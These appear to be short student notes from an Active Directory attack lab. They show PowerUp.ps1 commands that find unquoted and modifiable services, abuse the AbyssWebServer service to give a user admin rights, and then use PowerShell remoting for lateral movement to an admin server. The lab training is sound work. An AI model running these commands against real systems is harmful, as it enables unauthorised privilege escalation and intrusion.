Obj 5 Local Priv Esc
Task - Elevate local privs on studentvm, Identify where we have local admin access.
We will be using PowerUp.ps1 for this objective
Find Unquoted service paths
Get-ServiceUnquotedFind service files we can modify
Get-ModifiableServiceFile -VerboseFind services we can modify
Get-ModifiableServiceAbuse a service we found to be modifiable
Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'dcorp\studentx'Once we abuse this service we need to log off and back on for the escalation to take affect.
Find where we have local admin access
. C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccessWe can now use winrs or PSSremoting to access any machines listed from the command above.
PSSremote into another machine as local admin
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.localJenkins....
Coming soon...
Last updated